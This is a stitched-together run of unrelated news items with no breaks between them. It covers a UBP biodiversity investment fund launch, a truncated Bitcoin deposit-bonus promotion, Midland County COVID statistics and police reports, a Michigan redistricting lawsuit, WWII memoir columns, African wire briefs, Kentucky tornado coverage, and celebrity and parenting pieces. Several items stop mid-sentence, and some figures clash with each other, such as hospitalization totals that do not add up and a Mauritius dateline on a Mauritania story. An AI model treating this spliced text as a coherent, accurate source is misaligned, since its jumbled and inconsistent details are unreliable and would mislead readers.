Biodiversity - the abundance and variety of life on earth - represents an essential part of natural capital and is both directly and indirectly linked to other forms of capital in our economic system. USD 44 trillion worth of economic value generated each year is dependent on nature. This is more than 50% of global GDP. Nature delivers valuable services like the pollination of crops, water purification, flood protection, and carbon sequestration that many economic activities rely on. While these services are provided free of charge, their estimated monetary value ranges from USD 125 to 140 trillion per year. The expected economic gains from protecting and restoring biodiversity are therefore significant. UBAM - Biodiversity Restoration aims at identifying and investing in the solution-providers that, through their products and supply chains, protect and restore species and natural habitats on the planet. This global all-cap portfolio composed of 45 to 55 stocks invests in seven industrial verticals such as the sustainable management of natural resources, green cities and sustainable food production. Ultimately, the goal is to create a nature-positive portfolio. The strategy will follow the same rigorous selection process and systematic engagement approach UBP applies to its other impact funds, using its proprietary impact assessment tool, the IMAP (for Intentionality, Materiality, Additionality and Potential), and its Impact Engagement Framework (IEF). The fund is co-managed by Victoria Leggett, Head of Impact Investing, Charlie Anniss, Senior Portfolio Manager and Adrien Cambonie, Fund Manager and Impact Analyst. Recognising the challenges behind investing in biodiversity restoration, UBP has teamed up with two biodiversity partners, the Cambridge Conservation Initiative (CCI) and the Peace Parks Foundation, and will invest 25% of the management fee directly in their on-the-ground conservation and world-leading academic and policy-making skills. This partnership enables the creation of an exceptional bank of knowledge that can be used to support and guide engagement with investee companies, in addition to generating tangible non-financial returns. To support this multi-stakeholder approach and help achieve the ambitious goal of delivering a nature-positive portfolio, UBP is adding a new Biodiversity Committee to the impact team's oversight structure. Chaired by Tony Juniper (Chair of Nature England and Executive Director for Advocacy and Campaigns for WWF-UK) and supported by members of our two partner NGOs, this group will provide the investment team with strategic guidance and set out clear biodiversity objectives and performance indicators. The Biodiversity Committee will report to the existing Impact Advisory Board, chaired by Anne Rotman de Picciotto, and the Impact Investment Committee, chaired by Simon Pickard. UBAM - Biodiversity Restoration is the third fund launched on UBP's impact investing platform. UBP started its impact investing offering in listed equities with the launch of UBAM - Positive Impact Equity in 2018, followed by UBAM - Positive Impact Emerging Equity in 2020. In total, the impact investment team manages close to USD 1.4 billion. Victoria Leggett, Head of Impact Investing at UBP and co-manager of this new strategy, explains: "It's time to broaden the focus from 'carbon-neutral' to include 'nature-positive'. The level of awareness of the biodiversity crisis is where climate change was 5-10 years ago, and there is now a huge amount of momentum behind it, including the UN's 'Decade on Ecosystem Restoration' and COP15 on biodiversity. The associated regulatory shift and capex support should drive change in the investment opportunity set and with it return for investors." "UBP is convinced that collaboration between stakeholders is the biggest chance to overcome the challenges investing in biodiversity restoration poses. This is why we are extremely pleased to have found the right partners to support our investment approach in this field. It is our belief that the triangulation of expertise made possible through this fund is a unique and innovative approach and has the potential to catalyse positive change at scale, while generating significant financial returns," says Nicolas Faller, Co-CEO Asset Management at UBP. Colin Porteous, Chief Investment Officer at Peace Parks Foundation, adds: "Biodiversity affects everyone's resources, from food and materials to clean air and water. For biodiversity to continue providing value, large-scale ecosystems need to be in balance and that means people working in harmony with Nature. That is what Peace Parks Foundation does: working with governments, communities and experienced partners such as UBP to ensure the protection and restoration of connected landscapes." Mike Maunder, Executive Director at The Cambridge Conservation Initiative (CCI), declares: "We are delighted to be working with UBP and to explore the challenges of creating pro-nature financing. This blending of an innovative bank, researchers and practical conservationists has the potential to achieve real gain for nature and business. If we want a future where business thrives, we have to rebuild nature and reverse the trajectory of damage that has been accelerating for the last century and particularly in the last fifty years. We need to move towards an economy that is carbon-neutral, nature-positive and equitable." UBAM - Biodiversity Restoration is currently registered in Austria, Belgium, Denmark, Finland, France, Germany, Italy, Luxemburg, the Netherlands, Norway, Portugal, Singapore, Spain, Sweden, Switzerland and the United Kingdom. MCS (MyCoinStory), the next-generation Bitcoin perpetual contract trading platform, announced the Jackpot Bitcoin Deposit Event until this August 27. The event offers a bonus of up to 30% of the deposit amount, and anyone can in two ways. 10% of every deposited amount is given to the depositor as a bonus that can be used for trading during the event. Also, a bonus of up to 20% of the deposit amount Midland County had 81 new COVID-19 cases and three deaths reported from Dec. 14-15. COVID-19 numbers reported from Dec. 14-15: Midland County: 81 cases and three deaths were added; pandemic total is 11,838 cases, 1,077 probable cases, 158 deaths and 14 probable deaths. Bay County: 100 cases and one death were added; pandemic total stands at 17,003 cases, 1,493 probable cases, 434 deaths and 21 probable deaths. Gladwin County: 14 cases and one death were added; pandemic total stands at 3,311 cases, 641 probable cases, 84 deaths and four probable deaths. Isabella County: 51 cases were added; pandemic total stands at 9,215 cases, 1,729 probable cases, 140 deaths and 10 probable deaths. Saginaw County: 247 cases and eight deaths were added; pandemic total stands at 31,725 cases, 2,589 probable cases, 718 deaths and 30 probable deaths. The state added 11,722 cases and 330 deaths from Dec. 14-15. Overall, Michigan is at 1,408,189 cases and 25,570 deaths. Recovered According to the Midland County Health Department website, which was updated Dec. 6, 10,184 Midland County individuals have recovered from COVID. The state reported that as of Dec. 10, a total of 1,146,495 persons statewide have recovered. Testing Midland Countys seven-day rolling positivity rate between Dec. 7-13 was listed at 14.6% and Gladwin Countys was listed at 16.9%. Our 12-county region was listed at 19% and Michigan was at 16.8%. MyMichigan Health statistics As of Dec. 13, MyMichigan Medical Center in Midland was listed as having an 85% bed occupancy, with 63 COVID patients and 12 in the ICU. MyMichigan Medical Center in Gladwin was listed as having a 32% bed occupancy with three COVID patients and none in the ICU. Both medical centers reported having at least 15-30 days worth of personal protection equipment (N95, surgical masks, gowns, gloves and eye protection) on hand. As of Dec. 13, MyMichigan Heath reported a total of 112 patients hospitalized due to COVID, 28 of which were vaccinated, 122 unvaccinated. There are also 27 patients across the system in the ICU, two of whom are vaccinated, 25 are unvaccinated. Of the 13 patients on ventilators, two are vaccinated and 11 are unvaccinated. Schools As of Dec. 15, Midland Public Schools reported 334 staff/students were close contacts to an individual who was confirmed COVID-19 positive, and 55 staff/students tested positive for the virus. MPS schools with one or more positive cases on Dec. 15 were Dow High (8), Midland High (7), Jefferson Middle (5), Northeast Middle (6), Adams Elementary (3), Central Park Elementary (14), Chestnut Hill Elementary (7), Plymouth Elementary (3), Siebert Elementary (1) and Woodcrest Elementary (1). Bullock Creek School District reported on Dec. 15 that two staff members and 14 students were current positive cases. There were also 110 students and six staff member in quarantine. Bullock Creek schools with one or more confirmed COVID-19 cases as of Dec. 1 include Bullock Creek Elementary (2), Floyd Elementary (1) Pine River Elementary (3), Bullock Creek Middle (1) and Bullock Creek High School (8). Midland County vaccinations Midland County Health Department is hosting a weekly walk-in COVID vaccination clinic from 10 a.m. to 4:30 p.m. every Tuesday in December. Clinics by appointment will be available 10 a.m. to 2 p.m. every Friday on the second floor of the Midland County Services Building, 220 W. Ellsworth St., Midland. Pfizer, Moderna and Johnson & Johnson vaccines are available at the clinics. The health department will vaccinate anyone who needs a first or second dose; those who need their second dose must bring their vaccination card. Following FDA approval, the Michigan Department of Health and Human Services (MDHHS) is urging all eligible Michiganders to get a Johnson & Johnson, Moderna or Pfizer booster vaccine if they have received their primary COVID-19 vaccines. Following CDC approval, MDHHS is urging all eligible Michiganders 16 and up to get the Pfizer booster vaccine if they have received their two primary COVID-19 vaccines. Currently, Pfizer is the only authorized vaccine for under age 18. Eligible individuals may choose which vaccine they receive as a booster dose. Some people may prefer the vaccine type they originally received and others may prefer to get a different type of booster vaccine. CDCs recommendations now allow for this type of mix and match dosing for booster shots. Consult your healthcare provider if there is a question which vaccine is appropriate for you. Michiganders should bring their COVID-19 vaccine card or immunization record with them when getting their booster dose, which is available at any vaccine provider. Downloadable immunization records are accessible free at the Michigan Immunization Portal. To obtain their record, Michiganders must create a MILogin account at Michigan.gov/MiImmsportal and upload a valid government issued photo ID such as a driver's license, state ID or passport. If you do not have records in the portal, contact your healthcare provider or local health department. Future COVID-19 vaccine clinics in Midland County are listed at www.co.midland.mi.us/HealthDepartment/COVIDVaccineInformation.aspx. Those with questions may call 989-832-6380 or email MCDPH@co.midland.mi.us. The following includes reports from the Midland County Sheriff's Office and the Midland Police Department. Compiled by Reporter Tess DeGayner. Sunday, Dec. 12 11:42 p.m. Deputies responded to a Lincoln Township residence regarding a sexual assault that occurred Saturday night. Deputies spoke to a 32-year-old Lincoln Township female who stated she was sexual assaulted by her ex boyfriend, a 25-year-old Homer Township male. The incident is under investigation. 10:30 p.m. Deputies responded to a Homer Township residence for reports of a dog bite. Deputies made contact with the caller, a 56-year-old Homer Township male who advised he was bitten by his neighbor's dog while trying to break up a dog fight. Deputies made contact with the owner of the dog, a 59-year-old Homer Township female. The female was issued an isolation notice for the dog. The male victim did not require hospitalization or EMS for his injuries. 8:57 p.m. Deputies met with a 33-year-old Coleman female at the Midland Law Enforcement Center who wanted to report a threats complaint. The female advised she was being harassed by an ex roommate. The female was advised to file for a PPO and explained the PPO process. 7:49 p.m. Officers responded to a dog bite near 2600 block of Abbott Road. 6:49 p.m. Officers responded to crash resulting in property damage near North Saginaw and Dublin Avenue. 3:12 p.m. A deputy was dispatched to the emergency room regarding an animal bite. The deputy spoke with the 31-year-old victim and competed an isolation notice. 10:49 a.m. A deputy was dispatched to a Jerome Township apartment complex regarding a noise complaint. The deputy checked the area and did not find loud music. 2:57 a.m. Deputies were dispatched to a Jerome Township location reference a verbal dispute between a 54-year-old female and a 66-year-old male about the location of their generator. Deputies spoke with the male who agreed to move the generator further away from the house. Saturday, Dec. 11 11:37 p.m. Deputies conducted a traffic stop at a Lee Township location. Deputies made contact with the 28-year-old male driver, who was providing a false name to the deputies. Upon further investigation, it was discovered the male didn't have a valid driver's license. The male was issued a citation, and a report is being shared with the prosecutor's office. 8:26 p.m. Officers responded to a false alarm near the 2400 block of Schuette Road. 2:53 p.m. EMS requested deputy assistance at a residence reference a possible combative patient. Deputies arrived and EMS advised the 70-year-old male was going voluntarily and the sheriff's office was not needed. 10:37 a.m. A deputy was dispatched to a City of Coleman residence regarding an open front door. The deputy arrived on scene and discovered the front door was open. The home was for sale. The deputy checked the residence and found nobody inside. It appeared the door was pushed open by the high winds. 10:31 a.m. Officers conducted death investigation at an 5400 block of Plumtree. 10:14 a.m. Deputies were dispatched to a Mount Haley Township location where a 50-year-old female reported she was assaulted by her boyfriend's 25-year-old son. The parties were separated and a report has been forwarded to the Midland County Prosecutor's Office for review. 9:38 a.m. Deputies assisted the Michigan State Police on a verbal dispute incident in Ingersoll Township. 8:58 a.m. Officers were dispatched for a death investigation near the 1300 block of Fournie Street. 5 a.m. Deputies were dispatched to a Mills Township residence for an overdose. A 30-year-old male Mills Township male was found unconscious in the residence. Deputies administered the male one dose of Narcan and the male regained consciousness. The male was then evaluated by EMS. The Michigan Supreme Court today will hear arguments regarding transparency concerns against the Michigan Independent Citizens Redistricting Commission (MICRC). Words like transparent and fair have been used to by the commission to describe the its effort to create new political boundaries for the state. However, the commissioners tasked by Michigan voters to lead the redistricting process as opposed to lawmakers met in a closed setting with legal counsel in October. In response, The Detroit Free Press, Detroit News and Bridge Magazine joined the Michigan Press Association last week to file a complaint and brief against the commission with the Michigan Supreme Court. Edward Woods III, the spokesperson for the commission, said it looks forward to asserting its right to attorney-client privilege in court. Woods also told the Associated Press that the panel has held 133 regular meetings and hearings open to the public. Now, the Michigan Supreme Court meets at 9:30 a.m. Wednesday to hear oral arguments in Detroit News, Detroit Free Press, Bridge Michigan, Michigan Press Association (including Public Affairs Manager Lisa McGraw) v. Independent Citizens Redistricting Commission. The Michigan Press Association (MPA) represents over 320 member newspapers (including the Midland Daily News, Huron Daily Tribune, Manistee News Advocate and Big Rapids Pioneer, all Hearst-owned Michigan daily newspapers). Midland leaders react to transparency concerns While the lawsuit has created a statewide conversation, some Midland leaders have voiced concerns regarding the commission. Local leaders, who might not agree over what the political boundaries should look like, say the group should be still be transparent in its redistricting process. Midland County's Democratic Party Chair Jennifer Austin said overall, the commission has been transparent in its communication with the public. She added that the communication is met with a potential gap in education and understanding from the public's perspective. "I feel confident that (the commission) is doing everything they can to be as transparent as possible," she said. "I think the commission as a whole would be interested in allowing the public to know that information..." "It's a lot of following legal precedent, their attorney's advice, making sure that going forward they're doing the right things to protect them from any potential issues. I feel that they're being fairly transparent and I hope that they are able to continue to do so." Other leaders, including Midland Business Alliance's Tony Stamas, have been vocal about the lack of transparency. Last Friday, a group that's advocating for Midland and Gladwin counties to be grouped together in the final draft of the Great Lakes Bay Region political districts, shared its concerns relating to this issue at a press conference. Stamas was one of the leaders involved in the event. "I think it's really important not just for Midland or Gladwin, but for our entire state," Stamas said. "When we've been to hearings, we've heard other communities have similar frustrations (and) similar concerns. Well, I think we need to understand all the factors that have gone into the maps they put together," Stamas said. Austin said she would like to know details from conversations, including a potential discussion surrounding the Voter's Rights Act that the Associated Press previously reported could have been shared in the closed meeting with legal counsel, and believes Michigan's commissioners would like to share those details as well. In an effort to share demographic information about the members that make up the commission, the group has shared its approved commissioner applications online. Citizens on the commission were volunteers who applied, and the applications are made available at michigan.gov. Throughout the process, proposed maps were made available to be viewed online as well. According to the commission, unless the communication occurs during an open meeting of the MICRC, its individual members, staff, attorneys and consultants are prohibited from discussing redistricting matters with members of the public. The group cites Subsection 11 of Art. IV 6 of the Michigan Constitution. MICRC will meet Tuesday, Dec. 28 to vote on final maps. There are four U.S. House options, three state House options and three state Senate options that were collaboratively drawn. The commission's mission statement on michigan.gov reads the following, "to lead Michigan's redistricting process to assure Michigan's Congressional, State Senate, and State House district lines are drawn fairly in a citizen-led, transparent process, meeting Constitutional mandates." Ahead of court hearing Michigans effort to redistrict the states political boundaries began when voters approved a ballot initiative to have a group of residents without holding a political office to draw up the maps. Redistricting maps that result from this process will impact all further decisions about Michigan policies in the next 10 years. It was the intent of the 61% of voters who supported the 2018 ballot initiative to form a citizens commission that this process would be transparent to the taxpayers of Michigan, said the Michigan Press Association when it announced the lawsuit. Peter Bhatia, editor and vice-president at the Detroit Free Press, stated the purpose of the suit is to make sure the group is open with full transparency. "We are taking this collective action because the redistricting commission has chosen to ignore the will of the citizens of Michigan, he said in a news release. It is very clear that the intent was for this body to conduct its responsibilities in the open and with full transparency. The Michigan Press Association believes the new commission is not only constituted of members of the public, but it must also conduct its business in public, with notice to the public, and give the public opportunities to aid and comment on its work. MPA and the three newspapers participating in the lawsuit believe the commission has failed to fulfill these constitutional requirements and the lawsuit seeks to have the court order the commission to comply with its constitutional duties. It is unfortunate we must go so far as the Michigan Supreme Court in seeking to convince the redistricting commission to fulfill the transparency mandate voters approved and, we believe, the Michigan Constitution requires, stated John Bebow, president and CEO of the Center for Michigan and Bridge Michigan, in a news release. But were doing what we must to assure the public has access to every rationale for Michigans redistricting maps. We made every effort to convince the redistricting commission to follow the law and, unfortunately, all of those attempts failed, noted Gary Miles, editor and publisher of The Detroit News, also in a written release. As the first independent citizens redistricting commission, this group will set the precedent for decades. That precedent must be for openness and not secrecy. The Michigan Supreme Court proceeding will be held virtually. The public can view the hearing on the MSC YouTube channel, https://www.youtube.com/user/MichiganCourts The good news for 1942 was that mobilization exceeded all expectations. Cooperation and patriotism swept the country. In the Detroit suburbs, Ford and Hudson turned from cars and trucks to bombers. Chrysler made tanks. The Dafoe Ship Building Company in Bay City began making ships instead of pleasure boats. The Place Toy Factory in our town of Midland began making small airplane parts instead of toys. Factories worked 24 hours a day, utilizing three shifts of workers. With so many men going to the service, women began replacing them in the factories. The bad news for 1942 was defeat after defeat for our country by the Japanese. We read about the Battle of Bataan in the Pacific and its surrender on April 9, 1942 to the Japanese. Some 76,000 soldiers were marched 80 miles to a prisoner of war camp. Ten thousand men died along the way. Then, the Japanese went for the island of Corregidor. After 27 days of fighting, General Jonathan Wainwright surrendered all troops. He sent a radio message to President Roosevelt: There is a limit of human endurance, and that point has long been passed. But after two defeats, the Battle of Midway in May of 1942 in the Pacific turned things around. Our Navy defeated the Imperial Japanese Navy. Men like Jimmy Doolittle and Eddie Rickenbacker made headlines. Doolittle led a squadron of B-25s over Japan, bombing five Japanese cities. Eddie Rickenbacker and seven crew members survived 23 days of drifting in the Pacific Ocean after their plane crashed. A Japanese sub sank the USS Juneau and five Sullivan brothers on that ship lost their lives. This brought about the Sole Survivor Policy, which was designed to protect those whose siblings had all died in connection with military service. Everyone from school children to adults volunteered in one way or another. Scrap drives were big in elementary schools. In the ninth grade, some of us volunteered to help farmers harvest crops. Dorothy Brown, Delores Klumpp, Helen Sheriff and I picked up potatoes at the Dewey Coats farm in Averill for eight cents a crate. Jack McCandless and some friends worked at a farm where the owner walked around the fields with a pistol prominently displayed in a holster. Dort and I went to a movie called Hitlers Children at the Midland Theatre. It was considered so daring that an age limit was set. We were in high school now. Dating. Going to dances. Once in awhile, someone would get a gas stamp, so six or eight kids riding in one car wasnt unusual. Boys were beginning to look forward to graduation and being drafted. Some quit school and enlisted. My family moved to Averill in February of 1944, and one by one, young men who lived in or around us went to the service. There were the Draves brothers: Paul, James and Harley. There were the Leigeb boys: Tony, Frank, Ollie, Ed and Elmer. Bill Briggs went to war, as did Harold Waite. Some of the Sasse boys were in World War II. In retrospect, it was amazing that a small village like Averill would have so many young men in the war. In chemistry class in 1944, I sat beside Bob Morrison. I let him look at my test answers and he did all the experiments in the lab, so we both passed chemistry. One day, we had a lecture on the atom. Our chemistry teacher said, Matter is composed of minute particles called atoms. The atom is the smallest piece of matter known to man. The atom has never been broken and it never will be. Of that we can be sure. But on August 6, 1945, the United States dropped an atomic bomb on Hiroshima, Japan. On August 9, 1945, a second atomic bomb was dropped on Nagasaki, Japan. The two bombs killed between 129,000 and 226,000 people, many of them civilians. Japan sued for peace on August 10, 1945. They offered to surrender if the Emperor could keep his position. The answer was no. Japan signed the surrender documents on the USS Missouri on September 2, 1945. By December of 1944, the Axis Powers were near defeat. Hitler planned one last battle that he thought would split the British and American forces. The Battle of the Bulge was the result. And the National Guards from our small town of Midland participated in that historic battle. On April 7, 1941, the Midland National Guards had been federalized and had become part of the United States Army. December of 1944 found their unit in Saarlautern, Germany, which was near the embattled town of Bastogne, Belgium, a hub where five roads intersected leading to the American supply dumps. And the Germans needed supplies desperately. The 101st Airborne Division under General McAuliffe had been under siege since December 16, 1944. Asked to surrender, he told the German envoy, Nuts! It took some time for the Germans to find out what Nuts meant. At a meeting of the High Command, General Eisenhower asked if anyone could relieve the men at Bastogne. General George Patton said he could be there in 24 hours. (The Midland unit was part of Pattons combat command.) Clem Anger (a Midland National Guard) said, The top brass said no way could anyone reach Bastogne in 24 hours. But Patton said, I know what I can do with the men. I know these men. Clem said, We loaded up at four in the afternoon in Saarlautern. We turned the lights on the trucks and we looked like deer hunting time on I-75. At seven the next morning, the temperature was 14 degrees below zero in Luxembourg, near Bastogne. It was snowing and had been for days, so no food or ammo could be flown into Bastogne. Patton asked to see the chaplain and handed him a prayer to be read asking for good weather. Clem said, The next day it was clear as a bell. We couldnt believe it. The siege of Bastogne ended December 26, 1944, with the Germans defeated. In May of 1945, Germany surrendered. In February of 1945, Winston Churchill, Franklin Roosevelt and Joseph Stalin met in Yalta to make plans for the end of the war. On April 12, 1945, President Roosevelt died in Warm Springs, Georgia. My generation had never known any president other than Franklin D. Roosevelt. Vice President Harry Truman became president. Only four months later, a war council gave the new president information that an invasion of the Japanese mainland was planned with an expected loss of a million young American lives. Truman decided to drop the atomic bombs on Japan. Our town of Midland survived the war. Willard Dow, president of The Dow Chemical Company, had brought us through both the Depression years and now World War II. Ten million young men and women had fought that war and many came home. But 407,316 didnt. The Navy lost 62,614 at sea. The Army and Air Force lost 318,274. The Marines lost 24,511. The Coast Guard lost 1,917. A total of 130,000 American men and women are buried in foreign lands from World War II. Maastricht, Holland. England. Luxembourg. Normandy. Belgium. France, Italy and the Philippines, When the war ended, we thought we would pick up our lives where we had left them on December 7, 1941. But something had happened. We never got all the way back home again, even though we tried. Midland writer Virginia Florey pens a Midland Remembers column on the first and third Wednesday of each month. This piece is Part 2 from the Dec. 1 Midland Remembers. The Midland National Guards were first organized shortly after World War I ended in 1918, and they played a pivotal role in World War II from 1941 to 1945. Federalized when war appeared imminent in 1940, the Midland National Guards became the 177th Field Artillery Battery and became part of the United States Army. Shortly after being federalized, the Midland men traveled by train to Fort Knox, Kentucky, until the barracks at Fort Leonard Wood in Missouri were ready. They stayed at Fort Leonard Wood for the next one and a half years. Their job was to train officers and enlisted men. In a 1999 interview with four men who had been in the Midland National Guards at that time, Clem Anger said, And we got really good at it. From April to November of 1943, the Midland men stayed at the Desert Center in the Mojave Desert in California. In November of 1943, they left the Mojave Desert and traveled by train to Fort Bragg in North Carolina. In the 1999 interview, Mike Delaney said, The first thing everyone noticed was the absence of the wind blowing constantly. You got used to the whoooooshing sound and suddenly, you realized you werent hearing it anymore. On Easter Sunday, April 9, 1944, they sailed on the Queen Mary, which had been fitted out as a troop transport ship. Submarines were always a danger, but the Queen Mary safely reached Glasgow, Scotland in four days. Twelve thousand troops were crammed onto the Queen Mary, requiring that two men had to share one bunk. It was called hot bunking. One man had the bunk for 12 hours while the other man was on deck for those 12 hours. Dorchester, England was their next stop, followed by Wales, where they underwent more training. After their stint in Wales, they were transferred to Southampton, where they crossed the English Channel. They landed on Omaha Beach in Normandy, France, 44 days after D-Day (June 6, 1944). They saw their first action in Metz, France. From France, they went to Saarlautern, Germany, putting them close to Bastogne, Belgium. It was here that they participated in ending the siege at Bastogne under the leadership of General George Patton. Bastogne was a small town in Belgium but was important because it was the hub where five roads intersected. Bastogne was a direct route to the coast of Belgium and to the American supply dump in Liege. The 101st Airborne Division, under the command of Brigadier General Anthony McAuliffe, had been under siege since December 16, 1944. The Germans had surrounded the small town and the weather made it impossible for American planes to drop food or ammunition supplies to the 101st Airborne Division. Desperate for gasoline and supplies, the Germans had Bastogne under siege from December 16 to December 26, 1944. On December 22, German General von Luttwitz sent a message to Brigadier General McAuliffe demanding surrender. McAuliffe read the message, rolled it up in a ball and threw it in a wastebasket. He said, Aw, nuts! Trying to explain to the Germans what nuts meant, it was finally decided that the official reply from the Americans to the Germans was just one word: Nuts! General Eisenhower at the High Command Headquarters asked if anyone could relieve the 101st Airborne Division at Bastogne. Legendary General George Patton said he could attack in 24 hours. Clem Anger said, The top brass said 'no way' could he attack in 24 hours. There was 110 miles to cover. But General Patton said, I know what I can do with these men. I know these men. Clem said, We loaded up at four in the afternoon in Saarlautern. We turned the lights on the trucks and it looked like deer hunting time on I-75 in Michigan. There was just this long, long line of trucks winding down the road to Bastogne. They drove all night, and at seven the next morning, Patton and his men were at Luxembourg, a short distance from Bastogne. The Midland unit was part of Pattons combat command. The temperature had dropped to 14 degrees below zero at Bastogne, with snow falling for days. Patton asked to see the chaplain and handed him a prayer asking God for good weather. Clem said, The next morning it was as clear as a bell. We couldnt believe it. The American troops moved in and the siege of Bastogne ended with the Germans driven back and McAuliffe and his men rescued. The Midland Unit was awarded five battle stars: Normandy, Northern France, Ardennes/Bastogne, Central Europe, and the Rhineland. Following are the names on the roster of men in the Midland National Guards of 1941: Merlin Anderson, Melvin Andrew, Clemon Anger, Thomas Anger, Benjamin Balwinski, Bernard Balwinski, Francis Bardwell, Vernon Beach, David Bell, William Bensch, Kenneth Berger, Harold Bilow, Robert Bilow, Vaughn Blake, Edward Bradley, Charles Callow, Vern Cody, Leonard Cour, William Cowman, Merle Cummings, Ed Deary, Frank (Mike) Delaney, Gerald Dice, Otto Ebe, Fred Engle, Ed Eagle, Ed Farnsworth, Fred Fisher, Beck Gray, Jim Green, Vern Hardy, Chester Harvey, Harry Herringshaw, Robert Hutton, Robert King, Norman Kisser, George Konecny, Glenn Lanphierd, Leslie Lefler, Perry Mann, Edward Marsh, Donald Martin, Tom Maxwell, Lawrence McGraw, Forest (Gabby) Mills, Dale Norris, Ron Mulligan, Darwin Orwig, John Owens, Grant Palmer, George Petosky, Art Presley, Jack Radde, Gilford Ross, Otto Schlagrait, Ted Shauger, Leon Sirrine, Floyd Smith, Howard Smith, Melvin Smith, Ron Taplin, Lawrence Thornton, Frank Weiger, Ivan Weiger, Frank Wierman, Henry Yeakle, Jim Ruhle and Jim Reed. When World War II ended, the National Guards returned to Midland. Over the years, reunions were held and friendships renewed. Its still a proud memory to know that our towns National Guards fought to keep us a democracy 80 years ago. Someone wrote this about war: "In great deeds, something abides. On great fields, something stays." And the men of the Midland National Guards who fought in World War II are some of the men who made those words part of history. Midland writer Virginia Florey penned this piece as a special accessory to today's Midland Remembers, which looks at our town during World War II (1941-1945). Tripoli, Libya (PANA) - The Libyan High National Electoral Commission has submitted the final report on appeals against presidential candidates to the committee on monitoring the electoral process in the country Port-Louis, Mauritius (PANA) - Sixty persons, comprising 53 motorcyclists and seven vehicle passengers, have so far lost their lives in road cashes in 2021 in Mauritania, an official source told PANA here Wednesday Bamako, Mali (PANA) - A Malian officer, head of the division of the Regional Directorate of Prison Administration and Supervision (DRAPES) of Gao, northern Mali, was coldly murdered by unidentified armed individuals on Saturday night Photo: (Photo : Scott Olson/Getty Images) Alongside the residents affected by the Kentucky tornado disaster, Gov. Andy Beshear said that he also lost family members to the powerful natural calamity. Holding back tears during a press conference, Beshear apologized for the rush of emotions as he learned his uncle and some cousins perished in the disaster. The governor confirmed that half of Dawson Springs, where his father grew up, "doesn't exist anymore" and declared a state of emergency in Kentucky. His government has also immediately set up the Team Western Kentucky Tornado Relief Fund, through kind donations from all over the U.S., to help with the funeral expenses for dozens of families and assist residents in their efforts to rebuild what has been left of their properties. During the press conference, Beshear confirmed that 64 have died in the aftermath, but hundreds are still lost in the rubble and are feared dead. The people who perished ranged from five months old to 86 years old, and at least six were younger than 18 years old. All around them were dead livestock and crushed livelihood, with survivors still uncertain how to proceed next. Yesterday I returned to Dawson Springs, my Dad's hometown. One block from my grandparents', there is no house standing. It's heartbreaking. To every family mourning, know the entire commonwealth is standing with you you have our support and you have our prayers. pic.twitter.com/aWZXtcr8xz Governor Andy Beshear (@GovAndyBeshear) December 12, 2021 Read Also: Kentucky High School Lap Dance Involving Students and Teachers Sparks Investigations Youngest Kentucky Tornado Victim At the hospital, a two-month-old baby from Dawson Springs succumbed to her injuries from the Kentucky tornado. The parents of Oaklynn Koon, Douglas and Jackie Koon, are devastated and still in disbelief about what happened. According to reports, the baby experienced multiple seizures during her two-day stay at the hospital after she suffered a head injury. Doctors told the parents that she likely had a stroke. The Koon family were huddled and taking cover in their bathroom when the Kentucky tornado struck on the evening of December 10. Oaklynn was strapped in her car seat, but the family said they were "sent flying" to their neighbor's house because of the sheer force of nature's wrath. Oaklynn's brother had to be treated in the hospital, but he was released the following day. Their house, on the other hand, has been completely obliterated. State Parks Open for Families Meanwhile, Beshear said that families who lost everything could stay at several state parks for the next two weeks as these have been opened for sheltering the victims. The governor said that the children would be fed while the adults look for relatives or clean up their properties to rebuild their homes. The Kentucky tornado ripped through several paths, leaving damages and bodies in Missouri, Illinois, and Tennessee. Pres. Joe Biden has also approved grants and loans for those affected under the Federal Emergency Management Agency (FEMA). On the other hand, Rescuers have been going house-to-house to retrieve those who are trapped. The tornado did not crush some homes, but there will be no power in the communities for a few more weeks. Elsewhere in the U.S. and worldwide, fundraisers for the victims have been activated. Those who want to help may send in their donations through the American Red Cross, the CARE non-profit in Atlanta, the Evangelical Lutheran Church in America, the disaster relief organization Global Empowerment Mission in Miami, the Salvation Army, and the Save the Children foundation in Connecticut. Related Article: Husband's Dying Wish: Mom Gives Birth to Baby via C-section So Husband Can See, Touch Baby Before He Dies Photo: (Photo : Matt Winkelmeyer/Getty Images for Netflix) Chrissy Teigen caused a divisive debate online after being criticized for sharing a selfie where she's naked in the bathtub with her daughter, Luna, five, and son, Miles, three. The fans thought it was inappropriate for the supermodel mom to still be bathing with her kids at their age. Some fans called out the celebrity because her children were "too old" to be sharing a bath with their naked mother. Her other followers also criticized her for sharing a private moment on the public platform and advised her to keep some things to herself. However, some followers saw nothing wrong with the selfie and pointed out that her son wouldn't likely have sexual thoughts if he saw his mom in her birthday suit. Some of Teigen's celebrity friends also posted in the comments and said that they loved the bathroom photo with the kids. Read Also: Texas Mom Reports School Bullies Who Gave Her 6-Year-old Daughter Hickeys What Experts Say About Bathing Kids Teigen, known as the queen of clapback on the internet, has not yet responded to the criticisms, but the debate on bathing with kids has been a hot topic for parents for years. Dr. Richard Beyer, a psychologist from California, said that conventional wisdom dictates that it's no longer appropriate for children to be bathing with their parents once they reach school age or about five years old. The expert said that five is generally the time for kids to experience bathroom autonomy, meaning they should be able to take care of their personal hygiene without any assistance during this phase. However, he also said that it's wrong to stigmatize nudity in front of the children, and they should not be made to feel that this is a big deal. Dr. Adam Spanier, a pediatric professor at the University of Maryland, said that there is no simple answer to when is the best time for parents to stop bathing with their kids. Families follow different cultures and approaches, and he believes that the real answer lies in the comfort level of the children and the parents. He also believes that children will not be traumatized if they see their naked parents in this situation. Spanier, however, cautioned that a child beyond eight years old, who might still prefer to shower with their mom or dad, could have some underlying fear that should be looked into. Many experts agree that bathroom time with parents allows the kids to learn body parts. At two or three years old, most kids are curious about these things, and it would be a good opportunity for parents to also teach them how to clean up after their bodies well while they are bathing together. Take Cues from the Child For some parents, taking cues from their children could be the best signal for knowing when it's time to stop this activity. Some kids might say they want to bathe alone explicitly, or they will start shutting the door when they use the bathroom. As much as parents can normalize the naked body with their children, other parents also believe that it's best to leave kids above five years old to themselves in the bathroom since people normally take a bath alone. On the other hand, some mothers said that their time in the bathroom is their me-time; thus, they would not want to have a three-year-old in the tub with them anymore. Related Article: Chrissy Teigen Brings Son's Ashes on Family Vacations, and Her Kids Approve Photo: (Photo : epicantus/Pixabay) It is advisable for working parents who want to succeed in their professional life and have the mindset of achieving everything they set their goal to slow down or break away from this "hustle culture" to improve their family relationships. According to the experts, hustle culture could be rewarding for some goal-oriented parents, especially in America, where hard work is a measure for success. But this is also a sure path to a quick physical, mental or emotional exhaustion. Dr. Nicole Cammack of Black Mental Wellness said the constant state of busyness could lead to more mistakes at work, loss of interest in the job, feelings of anxiety and depression, as well as lack of empathy and care for others, which 